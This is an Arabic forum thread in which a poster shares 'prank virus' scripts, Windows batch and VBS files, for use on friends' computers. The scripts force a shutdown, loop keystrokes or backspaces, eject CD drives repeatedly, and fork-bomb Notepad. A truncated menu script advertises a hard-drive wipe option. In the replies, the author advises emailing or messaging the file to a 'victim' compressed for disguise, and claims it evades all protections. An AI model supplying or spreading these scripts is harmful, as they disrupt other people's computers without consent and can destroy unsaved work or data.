اصنع فايرووس بايدك للمزح فقط (خطير لكن مو خطير)

بسم الله الرحمن الحيم

اليوم انا جايب اليكم اكواد صنع فايرووووسات للمزح مع الاصدقاء فقط ولكن الحلو في ده الموضوع هو لان انت اليي بتسوي الفايروووسات ولا تقول لان الفايروووسات مضرين لان انا استعملتهم على جهازي الخاص
ملاحظه: لاحظ وثم دقق جيداً الى صيغه الملف اليي سيتم حفظه.
ولكن قبل البدء البعض يتسائل عن ده (شلون احنة بنسوي الفايرووسات دلين) وانا ارد على اليي يقول ده السوال بده الجواب : بنسويهم بالنوتباد و اليي ما يعرف شلون بنسويهم وبإختصار هو كوبي وبست وحق اليي يقول اليي ما فهم انا حاط موضوع في قسم الفايروسات وهو شرح عمل الفايروسات وانا بعطيكم وصله الموضوع وهي [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
و الان نبدأ ولكن اذكركم بالملاحظه الى الصيغ التي سيتم حفظها {نبدا}

الاول :قم باغلاق جهاز صديقك وارسال رسالة قبل الاغلاق
الطريقة :
افتح Notepad
انسخ التالي:
كود:
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s

ثم قم بحفظها علي جهازك باسم Anything.BAT يمكن تغيير كلمة Anything بالاسم الذي تريده
ملحوظة يمكنك تغير الرسالة كما تشاء من انشائك قم باستبدال كلمة Error! You are too ******! بالرسالة التي تريد ارسالها الي صديقك

الثاني:اجعل لمبة كابس لوك Caps Lock تومض فتضئ وتطفئ مرارا و تكرارا
الطريقة :
افتح Notepad
انسخ التالي:
كود:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

ثم قم بحفظها علي جهازك باسم Anything.VBS يمكنك تغيير كلمه Anything الى الاسم اليي تبيه

الثالث: اجعل السي دي روم تخرج وتدخل عدة مرات غصب عن صاحب الجهاز
الطريقة :
افتح Notepad
انسخ التالي:
كود:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

ثم قم بحفظها علي جهازك باسم Anything.VBS يمكنك تغيير الاسم الى اليي تريده

الرابع: فتح النوتباد وكتابة ببطئ "Hello, how are you? I am good thanks" غيرها كما تشاء
الطريقة :
افتح Notepad
انسخ التالي:

كود:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

ثم قم بحفظها علي جهازك باسم Anything.VBS استبل Anything باي اسم تريد

الخامس:يقوم بعمل باك عودة من المكان الذي انت فيه ولوكنت تكتب يقوم بمسح الكتابة باختصار يضغط علي زر ٍBack Space باستمرار
الطريقة :
افتح Notepad
انسخ التالي:
كود:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

ثم قم بحفظها علي جهازك باسم Anything.VBS استبل Anything باي اسم تريد

السادس:يقوم بفتح الاف من النوتباد دفعة واحدة (لابد من اغلاق الجهاز حينها -فيروس اكثر من خنيق)
الطريقة :
افتح Notepad
انسخ التالي:

كود:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

ثم قم بحفظها علي جهازك باسم Anything.BAT استبل Anything باي اسم تريد

السابع:يطلب من صديقك الاختيار من بين الاوامر التالية
1:Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown

الطريقة :
افتح Notepad
انسخ التالي:
كود:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

ثم قم بحفظها علي جهازك باسم Anything.BAT استبل Anything باي اسم تريد

مــِـِـِـِـِـلاحظه: انا كتبت ثلاثة ارباع هذا الموضوع لكن الاكواد منسوخين و للعلم بأن انا مجرب دلين الاكواد وهم شغالين 100%.
مـِـِـِــَـَـَـَع تـــَـَـَـَـَ3lawlawـِـِـِـِـِـحياتي

مشكوووووووور اخوي الله يعطيك الف عافية
اخي لو ممكن تعمل صور او فيديو
نكون شاكرين لك

ههههههههههههه حلوووووووووة احنى انسوي فايروسات Very Happy

نسيت اقول وبعدين ارسل له عبر البريد او كيف؟؟ Twisted Evil

بسم الله الرحمن الرحيم
أولاً: الجواب على كلام المدير بو علي: في هذه الثلاثه ايام سأقوم بعمل فيديو فيه الشرح بالفيديو و الكتابات

ثانياً: الجواب على سؤال الجسمي: ده الملف الناتج مشفر من جميع الحمايات فتستطيع ارساله عبر البريد - الماسنجر - الياهو - السكايب .......إلـِـِخ ولكن يفضل ضغطه {حجمه خفيف لكن فقط لتمويه الضحيه}

تم صنع ورفع الفيديو على الموقع المحبوب وهو الميديا فاير وهذه هي الوصله [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

» ادخل ونزل و اصنع مشربك ههههههههههه
» طريقة صنع فايرووس مريف {الشرح بسيط و البالفيديو من رفعي}
» حرك الماوس واضحك خطير